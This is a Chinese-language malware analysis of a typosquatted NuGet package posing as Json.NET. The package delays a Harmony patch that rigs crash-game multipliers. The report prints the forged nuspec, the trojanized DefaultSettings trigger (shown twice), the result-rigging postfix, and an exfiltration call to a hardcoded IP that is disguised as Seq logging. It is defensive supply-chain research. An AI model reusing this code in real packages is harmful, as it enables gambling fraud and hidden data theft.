套件建構與身分偽造
軟體供應鏈攻擊若是將雙用途功能嵌入廣泛使用的函式庫中,即構成高衝擊性的威脅途徑。報告探討此類攻擊的具體案例,該攻擊經由一個變種仿冒(typosquatted)的 NuGet 套件傳遞,該套件冒充熱門的 JSON 序列化函式庫,同時植入執行時期方法修補(runtime method patching)邏輯,目標鎖定特定的遊戲邏輯方法。分析完全基於該識別出的 Artifact 集中的套件中繼資料、組件組成與反編譯的 payload 片段。討論重點在於觸發條件、使用 Harmony 的修補機制、決定性的係數替換演算法、偽裝的資料外洩通道,以及後續套件版本間觀察到的演變。
套件建構與身分偽造
此惡意套件以 Newtonsoftt.Json.Net 這個識別碼發行。其 .nuspec 檔案系統性地偽造了合法 Json.NET 專案的身分。作者(authors)欄位設為原始維護者的名稱,專案網址(projectUrl)指向官方專案網站,標題(title)宣告為「Json.NET」,授權(license)宣稱是 MIT,並且選用 11.0.x 系列的版本編號,使其在依賴圖表中被檢視時顯得合理。唯一最能揭示問題的 Artifact 是每個已發布版本中內嵌的儲存庫網址(repository URL);該網址指向一個內部 Team Foundation Server 路徑,該路徑明確指出內含 crash 遊戲邏輯的目標專案。
- <!-- Excerpt from the package nuspec metadata -->
- <package xmlns="http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd">
- <metadata minClientVersion="2.12">
- <id>Newtonsoftt.Json.Net</id>
- <version>11.0.11</version>
- <title>Json.NET</title>
- <authors>James Newton-King</authors>
- <!-- Project URL forged to the legitimate Json.NET site -->
- <projectUrl>https://www.newtonsoft.com/json</projectUrl>
- <description>Json.NET is a popular high-performance JSON framework for .NET</description>
- <!-- Tags and copyright further reinforce the impersonation -->
- <tags>json</tags>
- <copyright>Copyright © James Newton-King 2008</copyright>
- </metadata>
- </package>
在 lib/net8.0 目錄下,該套件提供了三個組件,NuGet 用戶端會自動參考這些組件:一個被木馬化的 Newtonsoft.Json 13.0.3 分支(內含觸發條件)、一個實作修補與資料外洩邏輯的隨附 payload 組件,以及一份 HarmonyLib 執行時期修補函式庫的合法複本。由於主處理程序會載入 lib 資料夾下的所有組件,因此 payload 無需開發者額外操作便常駐於程式中。
觸發條件與延遲修補安裝
進入點是 JsonConvert.DefaultSettings 中被改寫的屬性設定器(property setter)。當應用程式將一個設定委派(configuration delegate)指派給此屬性時——這是一種常見的啟動模式——該設定器會捨棄呼叫者提供的 ContractResolver,取而代之的是攻擊者控制的 CamelCasePropertyNamesContractResolver,接著呼叫一個 payload 方法,該方法會排程在計時器上執行 Harmony 修補。
- //* Trigger embedded in the forked JsonConvert class.
- //* The original user-supplied settings are overwritten so that
- //* serialization continues to function while the malicious
- //* DefaultValues.Set() call is executed.
- public static Func<JsonSerializerSettings>? DefaultSettings
- {
- get => _defaultSettings;
- set
- {
- _defaultSettings = value;
- /* Force a known resolver so downstream serialization
- remains observably correct. */
- JsonConvert.DefaultSettings = () => new JsonSerializerSettings
- {
- ContractResolver = new CamelCasePropertyNamesContractResolver
- {
- NamingStrategy = new CamelCaseNamingStrategy
- {
- ProcessDictionaryKeys = false
- }
- }
- };
- /* Schedules the Harmony patch with a deliberate delay
- (10 minutes in the final generation). */
- DefaultValues.Set();
- }
- }
延遲對於隱蔽性至關重要:當計時器觸發時,應用程式已完成啟動程序,任何診斷日誌都已記錄了乾淨的初始化過程,且操作人員不太可能正在監控該處理程序。唯有目標型別與方法能透過 reflection 解析時,才會套用修補程式;在主機不包含特定遊戲邏輯組件的情況下,payload 保持休眠,函式庫行為完全如同正常的 JSON 序列化器。
對結果生成方法的 Harmony 修補
在所檢查的每個版本中,payload 都使用相同的 Harmony 實例識別碼與相同的目標簽章:
- 型別:Digitain.FG.SharedCrash.GameLogic.SharedCrashRules
- 方法:GenerateGameResult
- Harmony 實例:「com.example.harmony」
- //* Trigger embedded in the forked JsonConvert class.
- //* The original user-supplied settings are overwritten so that
- //* serialization continues to function while the malicious
- //* DefaultValues.Set() call is executed.
- public static Func<JsonSerializerSettings>? DefaultSettings
- {
- get => _defaultSettings;
- set
- {
- _defaultSettings = value;
- /* Force a known resolver so downstream serialization
- remains observably correct. */
- JsonConvert.DefaultSettings = () => new JsonSerializerSettings
- {
- ContractResolver = new CamelCasePropertyNamesContractResolver
- {
- NamingStrategy = new CamelCaseNamingStrategy
- {
- ProcessDictionaryKeys = false
- }
- }
- };
- /* Schedules the Harmony patch with a deliberate delay
- (10 minutes in the final generation). */
- DefaultValues.Set();
- }
- }
在最早的世代中,Harmony transpiler 會改寫 GenerateGameResult 的中繼語言(Intermediate Language),定位出小數點比較運算碼(decimal comparison opcodes)與常數 crash 係數的載入,然後替換成攻擊者選擇的值。後續世代則將脆弱的 IL 改寫替換為簡單的 postfix,在原始運算完成後覆寫方法的回傳值。
- /* Postfix used in the final generation.
- The counter I bounds the number of rigged rounds;
- Values.L is a compile-time constant (32). */
- private static void TR(ref object __result)
- {
- if (++I < Values.L)
- {
- decimal num = (decimal)__result;
- try
- {
- DateTime utcNow = DateTime.UtcNow;
- /* Index into pre-computed coefficient tables by
- month modulo table length and an hour-dependent
- profile that treats 22:00 UTC specially. */
- int num2 = utcNow.Month % Values.Q.Length;
- int num3 = ((utcNow.Hour != 22) ? 1 : 0);
- __result = (decimal)(Values.Q[num2][num3][I]
- + (double)utcNow.DayOfWeek
- * Values.Z[num2][I][(utcNow.Day - 1) / 7 % 4]);
- }
- catch
- {
- /* On any exception restore the original result
- so the game continues without visible failure. */
- __result = num;
- }
- }
- }
係數表格是 UTC 月份、星期幾、月份中的第幾週以及小時設定檔的確定性函數。由於只有有限回合數被更改,且更改遵循僅攻擊者知曉的排程,因此對已發布的倍數分佈進行匯總統計測試,不太可能揭露此操控行為。
偽裝的資料外洩通道
後期套件世代增加了一個對外路徑,將每個被操控的係數傳送至遠端端點。該請求刻意塑造成類似傳送至結構化日誌伺服器的遙測資料:路徑為 /api/events/raw,Content-Type 為 application/json,並帶有一個自訂標頭 X-Seq-ApiKey,內含固定金鑰。JSON body 遵循 Serilog 事件結構描述,將係數嵌入 MessageTemplate 屬性中。因此,檢查網路流量的觀察者會看到看似一般的應用程式日誌,而非命令與控制(command-and-control)活動。
- /* Exfiltration fragment (strings originally base64-encoded).
- The POST mimics a Seq ingest request. */
- StringContent stringContent = new StringContent(
- JsonSerializer.Serialize(new
- {
- Events = new[]
- {
- new
- {
- Timestamp = DateTime.UtcNow.ToString("yyyy-MM-ddTHH:mm:ss.fffZ"),
- Level = "Information",
- MessageTemplate = "Coefficient: {Result} | ThreadId: {ThreadId}",
- Properties = new
- {
- Result = r,
- Source = "Coefficient",
- ThreadId = Environment.CurrentManagedThreadId
- }
- }
- }
- }),
- Encoding.UTF8,
- "application/json");
- /* Header chosen to match Seq authentication convention. */
- stringContent.Headers.Add("X-Seq-ApiKey", "theperfectheist2025");
- await _h.PostAsync(
- "http://185.126.237.64:5341/api/events/raw",
- stringContent);
各套件版本的演變軌跡
總共發布了七個版本。最早的版本採用重度混淆,僅實作本機係數替換,並將替換後的值輸出至主控台——這對於在開發主機上測試修補的內部人員來說很有用。中繼版本加入了利用 reflection 的網路載入,使得 System.Net.Http 型別不會出現在靜態中繼資料中。最終版本則完全移除混淆,從脆弱的 IL transpiler 轉為簡潔的 postfix,並穩定了 Seq 風格的資料外洩。此演進過程展示了在隱蔽性與可靠性兩方面的反覆改良,同時保留了相同的核心目標方法與 Harmony 識別碼。
上圖捕捉了後期 payload 世代共通的執行時期控制流程。關鍵觀察在於,惡意行為受到設定點觸發條件(Configuration-point trigger)以及目標方法存在性檢查(Target-method presence check)的雙重控管;因此,在任何不包含特定遊戲邏輯組件的主機上,該套件仍然是一個功能完整的 JSON 函式庫。
對供應鏈防禦的啟示
此攻擊說明了數個防禦挑戰。首先,metadata 偽造成本低廉,但當偽造欄位符合自動化相依性掃描工具的預期時,卻非常有效。其次,執行時期修補函式庫(如 HarmonyLib)本身具有合法的雙用途性質,因此其存在本身不能被視為惡意的明確指標。第三,延遲啟動加上針對特定主機的方法檢查,使得許多靜態分析與早期執行時期分析技術失效。因此,有效的緩解措施需要持續監控套件 metadata 中是否有異常的儲存庫網址、對執行反射方法繫結(reflective method binding)的組件進行行為分析,以及實施網路出口政策,將 Seq 相容端點視為不受信任的對象,除非明確列入允許清單。
總而言之,所分析的 NuGet 套件展現的是一個精心設計的精準工具,而非一般的資訊竊取程式。透過在所有非目標主機上維持完整的功能正確性、延遲啟動,以及偽裝其網路流量,該 payload 在被利用的詐騙窗口期結束之前,有很高的機率能保持不被偵測到。